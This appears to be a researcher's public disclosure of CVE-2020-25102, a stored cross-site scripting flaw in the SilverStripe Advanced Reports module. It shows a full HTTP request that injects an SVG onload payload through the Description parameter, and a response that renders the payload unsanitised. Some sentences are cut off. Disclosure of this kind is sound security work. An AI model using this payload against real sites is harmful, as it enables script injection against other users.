Instantly share code, notes, and snippets.

ahpaleus / **CVE-2020-25102.txt**

Created 2 years ago

☆ Star

CVE-2020-25102 - Cross Site Scripting (XSS) - SilverStripe Advanced Reports Module

CVE-2020-25102.txt

```
CVE-2020-25102 - Cross Site Scripting (XSS) - SilverStripe Advanced Reports Module

SilverStripe Advanced Reports Module (aka silverstripe-advancedreports) 1.0 through 2.0 is vulnerable to Cross-Site Scripting (XSS) due to

To exploit vulnerability, attacker has to change send malicious request to store JavaScript payload within it.

Request to the server:
Request (with <svg onx=() onload=(confirm)(1)payload in Description parameter)

GET /admin/advanced-reports/DataObjectReport/EditForm/field/DataObjectReport/item/4054/ItemEditForm?action_reportpreview=1&
PreviewFormat=html&
GeneratedReportTitle=aaaa&
GeneratedReports%5BGridState%5D=%7B%22GridFieldSortableHeader%22%3A%7B%22SortColumn%22%3A%5B%5D%7D%2C%22GridFieldFilterHeader%22%3A%7B%22Co
filter%5BGeneratedReports%5D%5BTitle%5D=&
filter%5BGeneratedReports%5D%5BCreated%5D=&
Title=AAAA&
ReportOn=AdvancedDisruptionReport&
Description=BBBB%3Csvg+onx%3D()+onload%3D(confirm)(1)%3E&
ReportFields%5B%5D=&
ReportHeaders%5B%5D=&
ConditionFields%5B%5D=&
ConditionOps%5B%5D=&
ConditionValues%5B%5D=&
ReportParams%5Bkey%5D%5B%5D=&
ReportParams%5Bval%5D%5B%5D=&
SortBy%5B%5D=&
SortDir%5B%5D=&
NumericSort%5B%5D=&
PaginateBy=&
PageHeader=%24name&
AddInRows%5B%5D=&
AddCols%5B%5D=&
FieldFormattingField%5B%5D=Title&
FieldFormattingField%5B%5D=&
FieldFormattingFormatter%5B%5D=DecimalHoursFormatter&
FieldFormattingFormatter%5B%5D=&
ClearColumns%5B%5D=&
ScheduledTitle=%3Ch1%3E%3Cs%3Etest&
FirstScheduled%5Bdate%5D=&
FirstScheduled%5Btime%5D=&
ScheduleEvery=&
ScheduleEveryCustom=&
EmailScheduledTo=&
SecurityID=382897efe1e0607e0a7570a1954b385b0dbadf3e HTTP/1.1
Referer: https://localhost/admin/advanced-reports/DataObjectReport/EditForm/field/DataObjectReport/item/4054/edit
Cookie: __cfduid=d0c3541462977db564a5667b0b493f0f51598983705;
 SECSESSID=j890kulq47eqda563ah2u8uk4r;
 cf_clearance=f212f42d931b43f92e251b2461a680d26855130a-1598983918-0-1z6ecea101zb4a7f96z855a6

Response (rendering payload without proper sanitization):
HTTP/1.1 200 OK
Date: Tue, 01 Sep 2020 18:13:05 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: AWSALB=MEKj3BYWceKWcHE+iXAHq0ud4/tl05fdP7dUiNYF9UivRHvUBgBu9Wmis0oMfDTA1Ayju75ELQNw6cyFLMYzxXEHAG516NojlrNfcf3eUhR2anf4BiCV5yNA
Set-Cookie: AWSALBCORS=MEKj3BYWceKWcHE+iXAHq0ud4/tl05fdP7dUiNYF9UivRHvUBgBu9Wmis0oMfDTA1Ayju75ELQNw6cyFLMYzxXEHAG516NojlrNfcf3eUhR2anf4BiCV
X-Controller: AdvancedReportsAdmin
X-Title: SilverStripe+-+Advanced+Reports
X-Frame-Options: SAMEORIGIN
Vary: X-Requested-With,Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate
Strict-Transport-Security: max-age=0;
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Last-Modified: Tue, 01 Sep 2020 18:12:56 GMT
Cache-Control: max-age=0
Expires: Tue, 01 Sep 2020 18:13:05 GMT
Content-Length: 137437

<html>
    <head>
        <base href="https://localhost/"><!--[if lte IE 6]></base><![endif]-->
 (...)
            <h1>AAAA</h1>
            <p class="reportDescription">BBBB<svg onx=() onload=(confirm)(1)></p>
            <p>Generated 02/09/2020 4:12am</p>
        </div>
        <div class="landscape newPage">

            <table class="reporttable" cellpadding="0" cellspacing="0"><thead><tr>
```

```
</tr></thead><tbody>
(...)


References:
https://github.com/nyeholt/silverstripe-advancedreports/releases
https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md
https://www.owasp.org/images/b/bc/OWASP_Top_10_Proactive_Controls_V3.pdf
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)
https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)
https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)


Maciej Domanski / AFINE.com team
```